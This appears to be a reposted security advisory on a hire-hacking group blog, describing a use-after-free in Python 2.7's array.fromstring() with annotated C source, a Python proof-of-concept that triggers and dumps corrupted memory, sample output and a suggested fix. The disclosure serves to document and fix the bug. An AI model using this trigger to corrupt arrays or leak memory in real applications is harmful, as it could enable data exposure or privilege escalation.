Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863556286

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
Title: Python 2.7 array.fromstring Use After Free
Credit: John Leitch (john@autosectools.com)
Url1: http://autosectools.com/Page/Python-array-fromstring-Use-After-Free
Url2: http://bugs.python.org/issue24613
Resolution: Fixed

The Python 2.7 array.fromstring() method suffers from a use after free caused by unsafe realloc use. The issue is triggered when an array is concatenated to itself via fromstring() call:

static PyObject *
array_fromstring(arrayobject *self, PyObject *args)
{
    char *str;
    Py_ssize_t n;
    int itemsize = self->ob_descr->itemsize;
    if (!PyArg_ParseTuple(args, "s#:fromstring", &str, &n)) <<<< The str buffer is parsed from args. In cases where an array is passed to itself, self->ob_item == str.
        return NULL;
    if (n % itemsize != 0) {
        PyErr_SetString(PyExc_ValueError,
                   "string length not a multiple of item size");
        return NULL;
    }
    n = n / itemsize;
    if (n > 0) {
        char *item = self->ob_item; <<<< If str == self->ob_item, item == str.
        if ((n > PY_SSIZE_T_MAX - Py_SIZE(self)) ||
            ((Py_SIZE(self) + n) > PY_SSIZE_T_MAX / itemsize)) {
                return PyErr_NoMemory();
        }
        PyMem_RESIZE(item, char, (Py_SIZE(self) + n) * itemsize); <<<< A realloc call occurs here with item passed as the ptr argument. Because realloc sometimes calls free(), this means that item may be freed. If item was equal to str, str is now pointing to freed memory.
        if (item == NULL) {
            PyErr_NoMemory();
            return NULL;
        }
        self->ob_item = item;
        Py_SIZE(self) += n;
        self->allocated = Py_SIZE(self);
        memcpy(item + (Py_SIZE(self) - n) * itemsize,
               str, itemsize*n); <<<< If str is dangling at this point, a use after free occurs here.
    }
    Py_INCREF(Py_None);
    return Py_None;
}

In most cases when this occurs, the function behaves as expected; while the dangling str pointer is technically pointing to deallocated memory, given the timing it is highly likely the memory contains the expected data. However, ocassionally, an errant allocation will occur between the realloc and memcpy, leading to unexpected contents in the str buffer.

In applications that expose otherwise innocuous indirect object control of arrays as attack surface, it may be possible for an attacker to trigger the corruption of arrays. This could potentially be exploited to exfiltrate data or achieve privilege escalation, depending on subsequent operations performed using corrupted arrays.

A proof-of-concept follows:

import array
import sys
import random

testNumber = 0

def dump(value):
    global testNumber
    i = 0
    for x in value:
        y = ord(x)
        if (y != 0x41): 
            end = ''.join(value[i:]).index('A' * 0x10)
            sys.stdout.write("%08x a[%08x]: " % (testNumber, i))
            for z in value[i:i+end]: sys.stdout.write(hex(ord(z))[2:])
            sys.stdout.write('\r\n')
            break            
        i += 1

def copyArray():
    global testNumber
    while True:
        a=array.array("c",'A'*random.randint(0x0, 0x10000))
        a.fromstring(a)
        dump(a)
        testNumber += 1
    
print "Starting..."    
copyArray()

The script repeatedly creates randomly sized arrays filled with 0x41, then calls fromstring() and checks the array for corruption. If any is found, the relevant bytes are written to the console as hex. The output should look something like this:

Starting...
00000007 a[00000cdc]: c8684d0b0f54c0
0000001d a[0000f84d]: b03f4f0b8be620
00000027 a[0000119f]: 50724d0b0f54c0
0000004c a[00000e53]: b86b4d0b0f54c0
0000005a a[000001e1]: d8ab4609040620
00000090 a[0000015b]: 9040620104e5f0
0000014d a[000002d6]: 10ec620d8ab460
00000153 a[000000f7]: 9040620104e5f0
0000023c a[00000186]: 50d34c0f8b65a0
00000279 a[000001c3]: d8ab4609040620
000002ee a[00000133]: 9040620104e5f0
000002ff a[00000154]: 9040620104e5f0
0000030f a[00000278]: 10ec620d8ab460
00000368 a[00000181]: 50d34c0f8b65a0
000003b2 a[0000005a]: d0de5f0d05e5f0
000003b5 a[0000021c]: b854d00d3620
00000431 a[000001d8]: d8ab4609040620
0000044b a[000002db]: 10ec620d8ab460
00000461 a[000000de]: 9040620104e5f0
000004fb a[0000232f]: 10f74d0c0ce620
00000510 a[0000014a]: 9040620104e5f0

In some applications, such as those that are web-based, similar circumstances may manifest that would allow for remote exploitation.

To fix the issue, array_fromstring should check if self->ob_item is pointing to the same memory as str, and handle the copy accordingly.